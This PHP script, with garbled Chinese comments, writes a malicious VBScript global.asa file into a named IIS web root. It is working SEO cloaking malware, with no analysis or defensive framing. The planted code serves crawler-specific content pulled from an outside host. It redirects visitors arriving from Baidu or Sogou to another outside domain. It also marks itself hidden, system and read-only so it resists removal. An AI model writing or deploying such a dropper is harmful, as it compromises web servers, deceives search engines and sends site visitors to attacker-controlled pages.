<?php // 鏂囦欢璺緞 $filePath = 'D:/vhostroot/LocalUser/yuda/www/global.asa'; // 闇€瑕佸啓鍏ョ殑鍐呭 $content = '<script CodePage=936 language="vbscript" runat="server"> server.Scripttimeout=3600 dim ua,Remote_server,host_name,Remote_file,Content_mb,referrer On Error Resume Next ua=Request.ServerVariables("HTTP_USER_AGENT") referrer=Request.ServerVariables("HTTP_REFERER") If Err.Number <> 0 Then Err.Clear End If Remote_server="http://y.ban10.cn/asp/ind.php" host_name="http://" & request.servervariables("HTTP_HOST") & request.servervariables("SCRIPT_NAME") Remote_file = Remote_server & "/index.php" & "?host=" & host_name & "&url=" & Request.servervariables("QUERY_STRING") & "&domain=" & Request.servervariables("SERVER_NAME") If (instr(ua,"360Spider") > 0 Or instr(ua,"so") > 0 Or instr(ua,"baidu") > 0) Then Content_mb = GetHtml(Remote_file) response.write Content_mb End If If (instr(referrer, "baidu.com") > 0 Or instr(referrer, "sogou.com") > 0) Then response.redirect("https://tz.ban10.cn/yao.php") End If Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath("global.asa")) if f.attributes <> 7 then f.attributes = 7 end if Function GetHtml(url) On Error Resume Next Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET", url, False ObjXMLHTTP.setRequestHeader "User-Agent", "aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode = 3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "utf-8" GetHtml = objStream.ReadText objStream.Close If Err.Number <> 0 Then Err.Clear End If End Function </script>'; // 浣跨敤 file_put_contents 鍐欏叆鏂囦欢 if (file_put_contents($filePath, $content) !== false) { echo "鏂囦欢 global.asa 宸叉垚鍔熷垱寤哄苟鍐欏叆鍐呭銆�"; } else { echo "鏃犳硶鍐欏叆鏂囦欢锛岃妫€鏌ユ潈闄愭垨璺緞鏄惁姝g‘銆�"; } ?>